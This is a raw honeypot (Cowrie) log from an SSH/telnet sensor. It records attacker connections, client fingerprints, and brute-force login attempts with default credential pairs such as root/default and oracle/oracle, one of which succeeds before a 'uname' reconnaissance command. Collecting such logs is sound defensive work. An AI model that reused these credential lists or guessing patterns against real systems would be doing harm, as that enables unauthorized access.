{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:25.671913Z","src_ip":"103.176.20.57","session":"4bb116185439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:25.927541Z","src_ip":"103.176.20.57","session":"4bb116185439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:25.953121Z","src_ip":"101.36.122.139","session":"4b303af18686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:26.048012Z","src_ip":"91.92.40.36","session":"3ffb9569c773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24582,"dst_ip":"10.17.0.5","dst_port":22,"session":"47c938564565","protocol":"ssh","message":"New connection: 91.92.40.36:24582 (10.17.0.5:22) [session: 47c938564565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:26.219184Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"01111988","message":"login attempt [root/01111988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:26.695956Z","src_ip":"103.176.20.57","session":"4bb116185439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:27.172385Z","src_ip":"101.36.122.139","session":"4b303af18686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.137.238.102","src_port":61364,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff7202cbd369","protocol":"telnet","message":"New connection: 14.137.238.102:61364 (159.203.135.109:23) [session: ff7202cbd369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:27.390675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:27.806985Z","src_ip":"91.92.40.36","session":"47c938564565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:27.810659Z","src_ip":"91.92.40.36","session":"47c938564565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:27.950942Z","src_ip":"103.176.20.57","session":"4bb116185439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":59976,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cd12bf2a18e","protocol":"ssh","message":"New connection: 160.187.180.146:59976 (159.203.135.109:22) [session: 7cd12bf2a18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:30.337327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:30.342163Z","src_ip":"160.187.180.146","session":"7cd12bf2a18e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:30.551391Z","src_ip":"160.187.180.146","session":"7cd12bf2a18e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Passw0rd@123","message":"login attempt [server/Passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:31.405614Z","src_ip":"160.187.180.146","session":"7cd12bf2a18e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:32.615519Z","src_ip":"160.187.180.146","session":"7cd12bf2a18e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:33.619194Z","src_ip":"91.92.40.36","session":"47c938564565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24660,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c0da881288","protocol":"ssh","message":"New connection: 91.92.40.36:24660 (10.17.0.5:22) [session: 34c0da881288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:34.786957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:35.604968Z","src_ip":"91.92.40.36","session":"34c0da881288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:35.608918Z","src_ip":"91.92.40.36","session":"34c0da881288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:35.821256Z","src_ip":"91.92.40.36","session":"47c938564565","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:38.327330Z","src_ip":"91.92.40.36","session":"34c0da881288","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:39.508658Z","src_ip":"91.92.40.36","session":"34c0da881288","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:39.512007Z","src_ip":"91.92.40.36","session":"34c0da881288","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:40.162059Z","src_ip":"91.92.40.36","session":"34c0da881288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:40.179075Z","src_ip":"91.92.40.36","session":"34c0da881288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35594,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d46932eff70","protocol":"ssh","message":"New connection: 103.82.132.16:35594 (10.17.0.5:22) [session: 0d46932eff70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:40.760876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:40.765890Z","src_ip":"103.82.132.16","session":"0d46932eff70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:41.015873Z","src_ip":"103.82.132.16","session":"0d46932eff70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030890","message":"login attempt [root/030890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:41.855663Z","src_ip":"103.82.132.16","session":"0d46932eff70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42550,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f1dc6d22c8f","protocol":"ssh","message":"New connection: 91.92.40.36:42550 (10.17.0.5:22) [session: 2f1dc6d22c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:42.844539Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:43.114924Z","src_ip":"103.82.132.16","session":"0d46932eff70","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:43.387735Z","src_ip":"91.92.40.36","session":"2f1dc6d22c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:43.392434Z","src_ip":"91.92.40.36","session":"2f1dc6d22c8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:46.433079Z","src_ip":"91.92.40.36","session":"2f1dc6d22c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:48.349607Z","src_ip":"91.92.40.36","session":"2f1dc6d22c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32890,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ca2d97d55a","protocol":"ssh","message":"New connection: 91.92.40.36:32890 (10.17.0.5:22) [session: 78ca2d97d55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:50.607824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:51.097806Z","src_ip":"91.92.40.36","session":"78ca2d97d55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:51.102882Z","src_ip":"91.92.40.36","session":"78ca2d97d55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234567","message":"login attempt [user/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:54.413873Z","src_ip":"91.92.40.36","session":"78ca2d97d55a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:56.292093Z","src_ip":"91.92.40.36","session":"78ca2d97d55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53814,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7dade03055c","protocol":"ssh","message":"New connection: 91.92.40.36:53814 (10.17.0.5:22) [session: e7dade03055c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:57.285135Z"}
{"eventid":"cowrie.session.closed","duration":30.709901094436646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:58.100435Z","src_ip":"14.137.238.102","session":"ff7202cbd369","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:58.569913Z","src_ip":"91.92.40.36","session":"e7dade03055c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 